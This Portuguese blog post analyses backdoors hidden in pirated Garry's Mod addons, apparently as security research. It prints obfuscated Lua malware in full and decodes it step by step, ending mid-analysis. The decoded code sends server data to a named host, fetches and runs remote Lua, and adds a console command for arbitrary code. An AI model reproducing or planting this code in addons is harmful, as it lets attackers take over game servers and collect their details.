Discord
Nos últimos dois dias (04/05/2020 e 05/05/2020), fiz vários testes em trechos de código mal intencionados vindos de um pack de addons ilegal que pode ser encontrado na internet (deveriam ser pagos). Não posso garantir que os exemplos nesse texto representam o padrão do que são os backdoors no GMod, já que eu não conheço esse mundo, mas achei bem interessante fazer essas transformações e decidi compartilhar com todos.
A finalidade desse material é ser útil para quem for curioso e quiser ver como eu me virei nesse processo de recuperação, o qual iniciei por conta própria e sem conhecimento prévio. Portanto, os passos abaixo se destinam à pesquisa e segurança, não tendo intuito de ensinar ninguém a criar backdoors. Veja bem, vou desmanchar eles, é literalmente o caminho oposto.
As informações mostradas aqui não possuem censura e os addons baixados não foram utilizados de forma alguma por mim. Além disso, considero o processo como a descodificação de apenas "um backdoor" porque os abordados fazem parte do mesmo pack e se compõe de forma semelhante um ao outro.
Espero que eu tenha feito um texto agradável e coerente. Obrigado pelo interesse e bom proveito dessa exploração.
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
Um bom começo é encontrar o código malicioso. Você consegue ver ele na imagem abaixo?
Nem eu achei de primeira, mas o Visual Studio Code deu uma dica: olhem a linha 3...
É, o código foi movido para longe na direita e achatado em uma única linha. Um editor simples como o Notepad vai fazer isso passar totalmente despercebido.
Esse é o backdoor:
local = _G local = ['\115\116\114\105\110\103'] local = ['\98\105\116']['\98\120\111\114'] local function () if ['\108\101\110']() == 0 then return end local = '' for _ in ['\103\109\97\116\99\104'](,'\46\46') do =..['\99\104\97\114']((["\116\111\110\117\109\98\101\114"](_,16),186)) end return end ['ced3d7dfc8']['e9d3d7cad6df'](5,function ()['d2cececa']['ead5c9ce']('d2cececa809595ded3c9ca8a94d9dc95d9d2dfd9d195cec8dbd9d1dfc894cad2ca',{['d9']=['ddd7d5de']['fddfcefddbd7dfd7d5dedf']()['f4dbd7df'],['de']=['fddfcef2d5c9cef4dbd7df'](),['df']=['dddbd7df']['fddfcef3eafbdedec8dfc9c9'](),['dd']=['d5c9']['dedbcedf']('9ff3809ff79a9fca9ad5d49a9ffb929fc293',['d5c9']['ced3d7df']())})end )['ced3d7dfc8']['e9d3d7cad6df'](5,function ()['d2cececa']['fcdfced9d2']('d2cececa809595ded3c9ca8a94d9dc95dddbc994d6cfdb',function (false)['e8cfd4e9cec8d3d4dd'](false)end ,nil )end )
O programador usou o caractere 8234 (Left-To-Right Embedding em ASCII) que aparece invisível no editor (pode ser testado aqui: http://www.mauvecloud.net/charsets/CharCodeFinder.html)
Infelizmente o Blogger não é capaz de importar esse caractere, então ele não está presente nas demonstrações.
Vamos indentar de forma que as coisas fiquem mais compreensíveis e vamos renomear o 8234 para # (unicamente para ajudar na identificação)
local # = _G
local ## = #['\115\116\114\105\110\103']
local ### = #['\98\105\116']['\98\120\111\114']
local function #######(####)
if ##['\108\101\110'](####) == 0 then
return ####
end
local ##### = ''
for _ in ##['\103\109\97\116\99\104'](####,'\46\46') do
#####=#####..##['\99\104\97\114'](###(#["\116\111\110\117\109\98\101\114"](_,16),186))
end
return #####
end
#[#######'ced3d7dfc8'][#######'e9d3d7cad6df'](
5,
function ()
#[#######'d2cececa'][#######'ead5c9ce']
(
#######'d2cececa809595ded3c9ca8a94d9dc95d9d2dfd9d195cec8dbd9d1dfc894cad2ca',
{
[#######'d9']=#[#######'ddd7d5de'][#######'fddfcefddbd7dfd7d5dedf']()[#######'f4dbd7df'],
[#######'de']=#[#######'fddfcef2d5c9cef4dbd7df'](),
[#######'df']=#[#######'dddbd7df'][#######'fddfcef3eafbdedec8dfc9c9'](),
[#######'dd']=#[#######'d5c9'][#######'dedbcedf'](#######'9ff3809ff79a9fca9ad5d49a9ffb929fc293', #[#######'d5c9'][#######'ced3d7df']())
}
)
end )
#[#######'ced3d7dfc8'][#######'e9d3d7cad6df'](
5,
function ()
#[#######'d2cececa'][#######'fcdfced9d2']
(
#######'d2cececa809595ded3c9ca8a94d9dc95dddbc994d6cfdb',
function (false#) #[#######'e8cfd4e9cec8d3d4dd'](false#)end ,
nil
)
end )
Os \número são código ASCII, então vou trocá-los e deixar as chamadas de função em um formato mais comum (https://www.browserling.com/tools/ascii-to-text)
Observe que em Lua uma função como bit.bxor também pode ser escrita bit["bxor"] ou bit['bxor']. Como estas são notações mais incomuns, empregar elas causa confusão. Vamos utilizar a notação com pontos.
local # = _G
local ## = #.string
local ### = #.bit.bxor
local function #######(####)
if ##.len(####) == 0 then
return ####
end
local ##### = ''
for _ in ##.gmatch(####, "..") do
#####=#####..##.char(###(#.tonumber(_,16),186))
end
return #####
end
#[#######'ced3d7dfc8'][#######'e9d3d7cad6df'](
5,
function ()
#[#######'d2cececa'][#######'ead5c9ce']
(
#######'d2cececa809595ded3c9ca8a94d9dc95d9d2dfd9d195cec8dbd9d1dfc894cad2ca',
{
[#######'d9']=#[#######'ddd7d5de'][#######'fddfcefddbd7dfd7d5dedf']()[#######'f4dbd7df'],
[#######'de']=#[#######'fddfcef2d5c9cef4dbd7df'](),
[#######'df']=#[#######'dddbd7df'][#######'fddfcef3eafbdedec8dfc9c9'](),
[#######'dd']=#[#######'d5c9'][#######'dedbcedf'](#######'9ff3809ff79a9fca9ad5d49a9ffb929fc293', #[#######'d5c9'][#######'ced3d7df']())
}
)
end )
#[#######'ced3d7dfc8'][#######'e9d3d7cad6df'](
5,
function ()
#[#######'d2cececa'][#######'fcdfced9d2']
(
#######'d2cececa809595ded3c9ca8a94d9dc95dddbc994d6cfdb',
function (false#) #[#######'e8cfd4e9cec8d3d4dd'](false#)end ,
nil
)
end )
Na primeira linha, vemos que _G é uma referência às funções do GMod, portanto # não serve para nada além de causar mais confusão, e daí também ## e ### não passam de mais renomeações inúteis.
Vamos limpar isso e trocar o nome das funções para coisas mais fáceis de se identificar:
local function SUBSTITUICAO(entrada)
if string.len(entrada) == 0 then
return entrada
end
local transformacao = ''
for _ in string.gmatch(entrada, "..") do
transformacao = transformacao .. string.char(bit.bxor(tonumber(_,16),186))
end
return transformacao
end
[SUBSTITUICAO'ced3d7dfc8'][SUBSTITUICAO'e9d3d7cad6df'](
5,
function ()
[SUBSTITUICAO'd2cececa'][SUBSTITUICAO'ead5c9ce']
(
SUBSTITUICAO'd2cececa809595ded3c9ca8a94d9dc95d9d2dfd9d195cec8dbd9d1dfc894cad2ca',
{
[SUBSTITUICAO'd9']=[SUBSTITUICAO'ddd7d5de'][SUBSTITUICAO'fddfcefddbd7dfd7d5dedf']()[SUBSTITUICAO'f4dbd7df'],
[SUBSTITUICAO'de']=[SUBSTITUICAO'fddfcef2d5c9cef4dbd7df'](),
[SUBSTITUICAO'df']=[SUBSTITUICAO'dddbd7df'][SUBSTITUICAO'fddfcef3eafbdedec8dfc9c9'](),
[SUBSTITUICAO'dd']=[SUBSTITUICAO'd5c9'][SUBSTITUICAO'dedbcedf'](SUBSTITUICAO'9ff3809ff79a9fca9ad5d49a9ffb929fc293', [SUBSTITUICAO'd5c9'][SUBSTITUICAO'ced3d7df']())
}
)
end )
[SUBSTITUICAO'ced3d7dfc8'][SUBSTITUICAO'e9d3d7cad6df'](
5,
function ()
[SUBSTITUICAO'd2cececa'][SUBSTITUICAO'fcdfced9d2']
(
SUBSTITUICAO'd2cececa809595ded3c9ca8a94d9dc95dddbc994d6cfdb',
function (false#) [SUBSTITUICAO'e8cfd4e9cec8d3d4dd'](false#)end , -- Uso estranho dos retornos
nil
)
end )
A maioria das funções acabou se tornando SUBSTITUICAO, e aparentemente isso é só uma forma complicada de pegar funções do GMod. Pelo que eu costumo ver, esses dois blocos embaixo parecem timers.
Vamos em frente fazer testes no jogo.
Entrada:
local function SUBSTITUICAO(entrada)
if string.len(entrada) == 0 then
print(entrada)
end
local transformacao = ''
for _ in string.gmatch(entrada, "..") do
transformacao = transformacao .. string.char(bit.bxor(tonumber(_,16),186))
end
print(transformacao) -- Mostrar nomes descodificados
end
SUBSTITUICAO 'ced3d7dfc8'
SUBSTITUICAO 'e9d3d7cad6df'
SUBSTITUICAO 'd2cececa'
SUBSTITUICAO 'ead5c9ce'
SUBSTITUICAO 'd2cececa809595ded3c9ca8a94d9dc95d9d2dfd9d195cec8dbd9d1dfc894cad2ca'
SUBSTITUICAO 'd9'
SUBSTITUICAO 'ddd7d5de'
SUBSTITUICAO 'fddfcefddbd7dfd7d5dedf'
SUBSTITUICAO 'f4dbd7df'
SUBSTITUICAO 'de'
SUBSTITUICAO 'fddfcef2d5c9cef4dbd7df'
SUBSTITUICAO 'df'
SUBSTITUICAO 'dddbd7df'
SUBSTITUICAO 'fddfcef3eafbdedec8dfc9c9'
SUBSTITUICAO 'dd'
SUBSTITUICAO 'd5c9'
SUBSTITUICAO 'dedbcedf'
SUBSTITUICAO '9ff3809ff79a9fca9ad5d49a9ffb929fc293'
SUBSTITUICAO 'd5c9'
SUBSTITUICAO 'ced3d7df'
SUBSTITUICAO 'ced3d7dfc8'
SUBSTITUICAO 'e9d3d7cad6df'
SUBSTITUICAO 'd2cececa'
SUBSTITUICAO 'fcdfced9d2'
SUBSTITUICAO 'd2cececa809595ded3c9ca8a94d9dc95dddbc994d6cfdb'
SUBSTITUICAO 'e8cfd4e9cec8d3d4dd'
Saída:
timer
Simple
http
Post
http://disp0.cf/check/tracker.php
c
gmod
GetGamemode
Name
d
GetHostName
e
game
GetIPAddress
g
os
date
%I:%M %p on %A(%x)
os
time
timer
Simple
http
Fetch
http://disp0.cf/gas.lua
RunString
Agora que sabemos quais são as identificações, vamos reconstruir o código:
timer.Simple(
5,
function ()
http.Post
(
"http://disp0.cf/check/tracker.php",
{
c = gmod.GetGamemode.Name,
d = GetHostName,
e = game.GetIPAddress,
g = os.date("%I:%M %p on %A(%x)", os.time())
}
)
end )
timer.Simple(
5,
function ()
http.Fetch
(
"http://disp0.cf/gas.lua",
function (false#) RunString(false#)end ,
nil
)
end )
Aqui ainda vemos um argumento estranho em function (false#), que na verdade é uma mistura de nomes reservados para causar confusão.
Melhorando de novo, temos:
timer.Simple(5, function ()
local dados = {
c = gmod.GetGamemode.Name,
d = GetHostName,
e = game.GetIPAddress,
g = os.date("%I:%M %p on %A(%x)", os.time())
}
http.Post("http://disp0.cf/check/tracker.php", dados)
end)
timer.Simple(5, function ()
http.Fetch("http://disp0.cf/gas.lua", function (arg)
RunString(arg)
end)
end)
Como podemos ver, o código avisa a um host que ocorreu a infecção e então a pessoa pode iniciar comandos diretamente por um arquivo Lua remoto.
Isso roda toda vez que um novo jogador entra.
De qualquer forma, é aqui que acontece algo muito interessante... Esse site está no ar!
O arquivo "http://disp0.cf/check/tracker.php" é usado apenas para receber as informações das vítimas, então ele não mostra nada de útil durante o acesso.
Mas esse "http://disp0.cf/gas.lua" possui o seguinte código:
timer.Create("a",60,0,function()
http.Post("http://66.55.80.158/lol.lua", {}, function(b)
RunString(b)
end)
end)
if SERVER then
concommand.Add('v',function(a,b,c,d) RunString(d) end)
end
O arquivo "http://66.55.80.158/lol.lua" não possui conteúdo, apenas um "-- todo". Isso é uma pena, porque provavelmente nós veríamos a parte de algum player conseguindo acesso a admin.
Ainda no código anterior, notem que o comando de console "v" é criado no escopo do server e ele pode rodar códigos Lua pelo RunString(). Com acesso ao server, poderíamos escrever "teste" no console assim:
v print("test")
Só que também poderíamos, por exemplo, matar todos os jogadores:
v for k,v in pairs(player.GetAll()) do v:Kill() end
Basicamente um backdoor é algo bem perigoso. Imaginem que Lua vai te dar acesso até aos arquivos salvos no jogo, e assim eu poderia corromper textura e bancos, por exemplo, tornando a partida completamente inviável.
Por sorte é muito improvável de termos esse problema utilizando addons grátis no workshop ou pagando pelos comercializados.
Para finalizar esse trecho, temos aqui novamente o link "http://disp0.cf/check/tracker.php". Se pusermos http://disp0.cf/check/" no navegador teremos acesso a árvore de arquivos local:
Esse "a.txt" é nada mais nada menos do que a lista de servidores infectados, e nesse momento da escrita do artigo ela está bem atualizada. São muitos servidores em 1 mês (notem o tamanho do scrollbar):
Meus parabéns a todos que baixam e usam addons piratas e ainda por cima com backdoor! É isso aí.
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
Eis outro trecho que eu encontrei longe da vista, após muitos tabs:
timer.Create( "rekt", 300, 0, function()
RunString(string.char(104, 116, 116, 112, 46, 70, 101, 116, 99, 104, 40, 34, 104, 116, 116, 112, 58, 47, 47, 98, 117, 114, 105, 101, 100, 115, 101, 108, 102, 101, 115, 116, 101, 101, 109, 46, 99, 111, 109, 47, 114, 101, 107, 116, 47, 114, 101, 107, 116, 46, 108, 117, 97, 34, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 99, 41, 32, 82, 117, 110, 83, 116, 114, 105, 110, 103, 40, 99, 41, 32, 101, 110, 100, 32, 41))
end )
Convertendo o ASCII, como fizemos no primeiro backdoor, temos:
timer.Create( "rekt", 300, 0, function()
RunString(string.char(http.Fetch("http://buriedselfesteem.com/rekt/rekt.lua", function(c) RunString(c) end )))
end )
Esse é bem mal feito se comparado com a codificação anterior... Infelizmente o link está morto.
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
Agora, esse:
O arquivo inteiro é um backdoor altamente embolado, ao meu ver, e ele tem 16977 caracteres.
local = _G local = ['\115\116\114\105\110\103'] local = ['\98\105\116']['\98\120\111\114'] local function () if ['\108\101\110']() == 0 then return end local = '' local = 0 for _ in ['\103\109\97\116\99\104'](,'\46') do if _ == '\124' then = ..['\99\104\97\114']((,64)) = 0 else = +1 end end return end [[[F|tI||b|k9|]]][[[6|kq|||Xj|D|]]](1,function ()[[[E|q|R||]]][[[|4|V|2r|D|]]]([[E|9|T|||l1||||ce|z|kH|E|2L||||b|t|y||||V8|5|Ea||ub|kt|qR|Rz||X|5x|U|||R|n|Am||2||h8|9||Vw|xs|oC||Mp||x|n2|X|ZA|EW||5||]],function (do,else,for,not)[[[|gf|l|i|L|mF|BG|Z||]]](do)end ,nil )[[[Ui|kU|l|GS|uN||||2||]]][[[H|||]]]([[||M|G|9f||w||||Tq|y|]],function (or)[[[|Iq|9||Gh|u||06|pF|M||Nv||||t||]]]([[nj|Ii|qV|]],[[xf|EZ||w|qJ|g|5z|]],[[t|]])[[[|Iq|9||Gh|u||06|pF|M||Nv||||t||]]]([[jR|rN|Cm|]],[[|||5s||o|zT|bp||]],or[[[D|5|c||||e|]]](or),[[|cd||a|fC||||sz|D|]])[[[|Iq|9||Gh|u||06|pF|M||Nv||||t||]]]([[7U|TK|69|]],[[2c|qi||4|Ry|R|Oy|]],[[CM|]])end )[[[Ui|kU|l|GS|uN||||2||]]][[[H|||]]]([[||x|E|79||Z|a2|P|dh||f|T|8||1s|SF|]],function ()for nil,and in [[[||JO|cS||]]]([[[|XU|||x|5C|]]][[[z|M|t|c|Ik|Hd|]]]())do [[[|Iq|9||Gh|u||06|pF|M||Nv||||t||]]]([[uH|j2|Ot|]],[[gv|Xu||r|fa|H|2d|]],[[A|]])[[[|Iq|9||Gh|u||06|pF|M||Nv||||t||]]]([[Zf|1K|J9|]],[[2x|1||Dr||d|Lp||I|Cz|4h||]],and[[[L|a|q||||V|]]](and))[[[|Iq|9||Gh|u||06|pF|M||Nv||||t||]]]([[7t|nP|kI|]],[[r1|fW||P|Ta|d|2B|]],[[Fz|]])end end )[[[Ui|kU|l|GS|uN||||2||]]][[[H|||]]]([[||J|n|P0||E|GW|R||S|rt|q|s||z||g|R|]],function (in)[[[E|q|R||]]][[[|4|V|2r|D|]]]([[U|Y|i|||Zw||||5V|b|ZP|X|4n||||4|s|U||||sg|G|Bo||VA|To|m9|H7||U|JF|v|||X|d|yt|||q|e|1j||||0||b|5|7w|u1|Z8||]],function (continue,goto,goto,and)[[[|gf|l|i|L|mF|BG|Z||]]](continue)end ,nil )end )[[[Ui|kU|l|GS|uN||||2||]]][[[H|||]]]([[||C|r|9I||O|CY|N7|||]],function ()[[[F|tI||b|k9|]]][[[6|kq|||Xj|D|]]](1,function ()[[[E|q|R||]]][[[|4|V|2r|D|]]]([[2|H|V|||dZ||||GG|R|yl|Y|sA||||0|b|U||||jk|0|9e||jm|ik|ZJ|dw||k|eB|D|||J|5|1Y|||O|k|8P|||ri|L5|||tt|UZ|LJ||]],function (repeat,true,repeat,true)[[[|gf|l|i|L|mF|BG|Z||]]](repeat)end ,nil )end )for repeat,true in [[[||JO|cS||]]]([[[|XU|||x|5C|]]][[[z|M|t|c|Ik|Hd|]]]())do true[[[|j|7|s||hv|X||g|m||Z0|]]](true,[[Ym||e|||Z|]],[[|Hx||||i1|un|HH||b|VC|1p|||Ny|hw|bx||M1||]])end [[[F|tI||b|k9|]]][[[|8r|4||Z|T|]]]([[Ou|D6||||31|hy|]],0.5,0,function ()for not,return in [[[||JO|cS||]]]([[[|XU|||x|5C|]]][[[z|M|t|c|Ik|Hd|]]]())do [[[N||Jd|O||F|]]][[[C|gA|1|Ip|Ed||]]](return,2,4,[[|Hz||||bz|M3|uj||s|T0|fl|||T6|Rq|32|]])[[[N||Jd|O||F|]]][[[C|gA|1|Ip|Ed||]]](return,2,20,[[wh|m||vn||2z|p||e|o|h7|0r||K|]])end end )[[[F|tI||b|k9|]]][[[|8r|4||Z|T|]]]([[is|||sN||||pd|Q|]],0.1,0,function ()[[[5g|Mn|ZD|||Pl|||m||LF||]]]([[uG|2||z|dA|q|||zU|b|4c|e|Dg||TK|Xz|SC|QQ|ip|||4|o|K4|Oo||6||hw||wJ|||||s4|g|||||O|h|5Y|VG||7||Ty||J4|MX|||||||M|U|D2|Jk||M||kO||B2|wL|||||||8|||6I||Yn|0||C2|Hx|r||NW|a||b|8|9G|XS||j|||||LN|P||]])end )end )end )
Tudo em 1 linha, claro... Mas como o Blogger não importa o caractere invisível de código ASCII 8234, vocês não estão vendo o tamanho total dela.
Se isolarmos o começo do código, ele é como o do primeiro backdoor que tratamos, então eu posso fazer as substituições de funções e nomes com maior segurança. Fica assim:
local function (entrada) -- Nome de caracteres invisíveis
if string.len(entrada) == 0 then
return entrada
end
local transformacao = ''
local contador = 0
for _ in string.gmatch(entrada, '.') do
if _ == '|' then
transformacao = transformacao .. string.char(bit.bxor(contador,64))
contador = 0
else
contador = contador +1
end
end
return transformacao
end
O que podemos ver é que nesse bloco o caractere invisível é importante, pois ele faz parte da fórmula que vai retornar o nome codificado. Mas como esse caractere 8234 também me atrapalha bastante, realmente quero me livrar dele, e por isso vou alterá-lo por underline em todo o backdoor e reinseri-lo nessa função, que também vai ser renomeada.
local _ = _G
local function _______(entrada) -- Nome alterado
if string.len(entrada) == 0 then
return entrada
end
entrada = string.gsub(entrada, "_", "") -- Reinsiro o caractere invisível porque ele é importante para ler o nome da função
local transformacao = ''
local contador = 0
for _ in string.gmatch(entrada, '.') do
if _ == '|' then
transformacao = transformacao .. string.char(bit.bxor(contador,64))
contador = 0
else
contador = contador +1
end
end
return transformacao
end
_[_______[[_________________F|_____________tI|_______________|____________b|________________k9|]]][_______[[______6|_____________kq|_______________|________________|______________Xj|____________D|]]](1,function ()_[_______[[_____________E|_________________q|_________________R|________________|]]][_______[[__|____________4|_________________V|___________2r|_____________D|]]](_______[[_____________E|_________________9|_________________T|________________|_________________|________________________________________l1|_____________________________________|_____________________________________|___________|_________________ce|_________________z|_______________kH|____________________________________E|_________________2L|________________|____________|___________|_________________b|____________t|____________________________________y|___________|____________|____________|_______________V8|_______________5|____________________________________Ea|___________________|_______________ub|____________________________________kt|____________qR|________________Rz|_____________________________________|___________X|_______________5x|_________________U|________________|___________|_______________R|____________n|______________Am|_____________________________________|___________2|___________|___________h8|______________9|____________|_______________Vw|_______________xs|________________oC|_____________________________________|_________________Mp|_________________|____________x|________________n2|____________________________________X|_____________________________________ZA|____________________________________EW|________________|_____________5|________________|]],function (_do,else_,_for,__not)_[_______[[______|_________________gf|_______________l|______i|_________________L|________________mF|_____________BG|_______________Z|_____________|]]](_do)end ,nil )_[_______[[___________Ui|_______________kU|_______________l|___________GS|_______________uN|_______________|_______________|___________|_______________2|____________|]]][_______[[H|____________|____________|]]](_______[[___________|_____________|____________M|_______________G|___________9f|___________________|__________w|___________|____________|_______________|_____________Tq|_______________y|]],function (or_)_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________nj|______________Ii|__________________qV|]],_______[[______________xf|_______________EZ|_____________|____________w|___________qJ|_____________g|_______________5z|]],_______[[_____________________________________t|]])_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________jR|______________rN|__________________Cm|]],_______[[___________|____________|____________|_________________5s|_________________|____________o|________________zT|_____________bp|____________|]],or_[_______[[______D|_________________5|____________c|___________|_______________|___|_e|]]](or_),_______[[_________________|_________________cd|________________|____________a|________________fC|___________|____________|_______________|_____________sz|_______________D|]])_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________7U|______________TK|__________________69|]],_______[[______________2c|_______________qi|_____________|____________4|___________Ry|_____________R|_______________Oy|]],_______[[_____________________________________CM|]])end )_[_______[[___________Ui|_______________kU|_______________l|___________GS|_______________uN|_______________|_______________|___________|_______________2|____________|]]][_______[[H|____________|____________|]]](_______[[___________|_____________|____________x|_______________E|___________79|___________________|__________Z|_________________a2|_______________P|________________dh|___________|_______________f|______________T|__________8|___________|______________1s|______________SF|]],function ()for nil_________,and_________________ in _[_______[[________________|___________|_____________JO|________________cS|_________________|]]](_[_______[[________________|______________XU|___________|___________________|____________x|________________5C|]]][_______[[__z|____________M|_________________t|c|______________Ik|______________Hd|]]]())do _[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________uH|______________j2|__________________Ot|]],_______[[______________gv|_______________Xu|_____________|____________r|___________fa|_____________H|_______________2d|]],_______[[_____________________________________A|]])_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________Zf|______________1K|__________________J9|]],_______[[________________2x|____________1|_______________|_______________Dr|__________________|____________d|_________________Lp|_________________|____________I|________________Cz|_____________4h|____________|]],and_________________[_______[[______L|_________________a|____________q|___________|_______________|___|_V|]]](and_________________))_[_______[[______|_________________Iq|_______________9|_|_______________Gh|_______________u|_________________|_______________06|______________pF|____________M|_|_______________Nv|_______________|_______________|___________|_______________t|____________|]]](_______[[_________________7t|______________nP|__________________kI|]],_______[[______________r1|_______________fW|_____________|____________P|___________Ta|_____________d|_______________2B|]],_______[[_____________________________________Fz|]])end end )_[_______[[___________Ui|_______________kU|_______________l|___________GS|_______________uN|_______________|_______________|___________|_______________2|____________|]]][_______[[H|____________|____________|]]](_______[[___________|_____________|____________J|_______________n|___________P0|___________________|__________E|_____________GW|_______________R|______________|____________S|___________rt|_________________q|__________s|____________|____________z|___________|_________________g|_____________R|]],function (in__)_[_______[[_____________E|_________________q|_________________R|________________|]]][_______[[__|____________4|_________________V|___________2r|_____________D|]]](_______[[_____________U|_________________Y|_________________i|________________|_________________|________________________________________Zw|_____________________________________|_____________________________________|___________|_________________5V|_________________b|_______________ZP|____________________________________X|_________________4n|________________|____________|___________|_________________4|____________s|____________________________________U|___________|____________|____________|_______________sg|_______________G|____________________________________Bo|___________________|_______________VA|____________________________________To|____________m9|________________H7|_____________________________________|___________U|_______________JF|_________________v|________________|___________|_______________X|____________d|______________yt|_____________________________________|_______________|____________q|_______________e|_________________1j|_________________|_____________________________________|____________|____________0|___________|_________________b|_____________5|____________________________________7w|______________u1|_________________Z8|___________|]],function (continue______,__goto,_______goto,and__________)_[_______[[______|_________________gf|_______________l|______i|_________________L|________________mF|_____________BG|_______________Z|_____________|]]](continue______)end ,nil )end )_[_______[[___________Ui|_______________kU|_______________l|___________GS|_______________uN|_______________|_______________|___________|_______________2|____________|]]][_______[[H|____________|____________|]]](_______[[___________|_____________|____________C|_______________r|___________9I|___________________|__________O|_______________CY|_________________N7|________________|_________________|]],function ()_[_______[[_________________F|_____________tI|_______________|____________b|________________k9|]]][_______[[______6|_____________kq|_______________|________________|______________Xj|____________D|]]](1,function ()_[_______[[_____________E|_________________q|_________________R|________________|]]][_______[[__|____________4|_________________V|___________2r|_____________D|]]](_______[[_____________2|_________________H|_________________V|________________|_________________|________________________________________dZ|_____________________________________|_____________________________________|___________|_________________GG|_________________R|_______________yl|____________________________________Y|_________________sA|________________|____________|___________|_________________0|____________b|____________________________________U|___________|____________|____________|_______________jk|_______________0|____________________________________9e|___________________|_______________jm|____________________________________ik|____________ZJ|________________dw|_____________________________________|___________k|_______________eB|_________________D|________________|___________|_______________J|____________5|______________1Y|_____________________________________|_______________|____________O|_______________k|_________________8P|_________________|_____________________________________|_______________ri|_________________L5|________________|_________________|____________________________________tt|______________UZ|_________________LJ|___________|]],function (repeat___,_____true,_____________repeat,_______________true)_[_______[[______|_________________gf|_______________l|______i|_________________L|________________mF|_____________BG|_______________Z|_____________|]]](repeat___)end ,nil )end )for ________________repeat,true____________ in _[_______[[________________|___________|_____________JO|________________cS|_________________|]]](_[_______[[________________|______________XU|___________|___________________|____________x|________________5C|]]][_______[[__z|____________M|_________________t|c|______________Ik|______________Hd|]]]())do true____________[_______[[_________________|____________j|_________________7|_s|___________|________________hv|______________X|______|_____g|_______m|___________|________________Z0|]]](true____________,_______[[________________Ym|________________|_______________e|___________|_______________|____________Z|]],_______[[_____|_________________Hx|________________|_________________|_________________|_____________i1|_____________un|_____________HH|________________________________|_b|_______________VC|_________________1p|________________|_________________|_____________Ny|_____________hw|_____________bx|________________________________|________________________________________M1|_____________________________________|]])end _[_______[[_________________F|_____________tI|_______________|____________b|________________k9|]]][_______[[_|________________8r|____________4|___________|_________________Z|____________T|]]](_______[[_______________Ou|_________________D6|________________|_________________|_________________|_____________31|_____________hy|]],0.5,0,function ()for not_,____________return in _[_______[[________________|___________|_____________JO|________________cS|_________________|]]](_[_______[[________________|______________XU|___________|___________________|____________x|________________5C|]]][_______[[__z|____________M|_________________t|c|______________Ik|______________Hd|]]]())do _[_______[[_N|___________|________________Jd|______________O|______|_____F|]]][_______[[_______________C|_______________gA|_________________1|_____________Ip|____________Ed|___________________|]]](____________return,2,4,_______[[_____|_________________Hz|________________|_________________|_________________|_____________bz|_____________M3|_____________uj|________________________________|_s|_______________T0|_________________fl|________________|_________________|_____________T6|_____________Rq|_____________32|]])_[_______[[_N|___________|________________Jd|______________O|______|_____F|]]][_______[[_______________C|_______________gA|_________________1|_____________Ip|____________Ed|___________________|]]](____________return,2,20,_______[[__wh|m|_|___vn|________________________________|2z|________p|________________________________|e|__o|_h7|____0r|_|________K|]])end end )_[_______[[_________________F|_____________tI|_______________|____________b|________________k9|]]][_______[[_|________________8r|____________4|___________|_________________Z|____________T|]]](_______[[_____________is|_______________|___________|____________sN|___________|_____________|_____________|_______________pd|_________________Q|]],0.1,0,function ()_[_______[[5g|________________Mn|_______________ZD|___________|____________|___________Pl|___________|_________________|_________________m|____|_________________LF|___________|]]](_______[[___________uG|_____________2|___________|_________________z|____________________________________dA|q|____________|____________|______zU|____________b|__________________4c|_________________e|__________________________________Dg|_|_______________TK|______________Xz|_______________SC|________________QQ|__________________________________ip|_______________|___________|_________________4|_____________o|____________________________________K4|________________Oo|___________|_______________6|____________|_______________hw|_______________|__________________________________wJ|______________________________________|_______________________________________|_______________________________________|____________________________________|_____________________________________s4|_____________________________________g|___________________________________|____________________________________|_______________|___________|_________________O|_____________h|____________________________________5Y|________________VG|___________|_______________7|____________|_______________Ty|_______________|__________________________________J4|_____________________________________MX|____________________________________|______________________________________|___________________________________|____________________________________|_______________|___________|_________________M|_____________U|____________________________________D2|________________Jk|___________|_______________M|____________|_______________kO|_______________|__________________________________B2|_____________________________________wL|____________________________________|______________________________________|___________________________________|___________________________________|____________________________________|________________________________|__________________________________8|______________________________________________________|________________________________________________________________________|__________________________________________________________________________6I|________________________________|__Yn|0|_|___C2|_Hx|_r|________________________________|NW|________a|________________________________|b|__8|_9G|____XS|_|________j|________________________________|________________________________|______________________________________________________|________________________________________________________________________|__________________________________________________________________________LN|__________________________________P|___________________________________|]])end )end )end )
O código acima continua funcionando e já está mais legível. A essa altura, um simples print mostraria os nomes descodificados e poderíamos começar as substituições. Mas note que aqui temos o problema da quantidade volumosa de caracteres, o que torna a abordagem manual muito complicada e demorada...
Fortuitamente temos um computador! Ele fará o trabalho para nós.
Vamos colocar o backdoor inteiro em uma string e processá-la.
local function _______(entrada) -- Nome alterado
if string.len(entrada) == 0 then
return entrada
end
entrada = string.gsub(entrada, "_", "") -- Reinsiro o caractere invisível porque ele é importante para ler o nome da função
local transformacao = ''
local contador = 0
for _ in string.gmatch(entrada, '.') do
if _ == '|' then
transformacao = transformacao .. string.char(bit.bxor(contador,64))
contador = 0
else
contador = contador +1
end
end
return transformacao
end
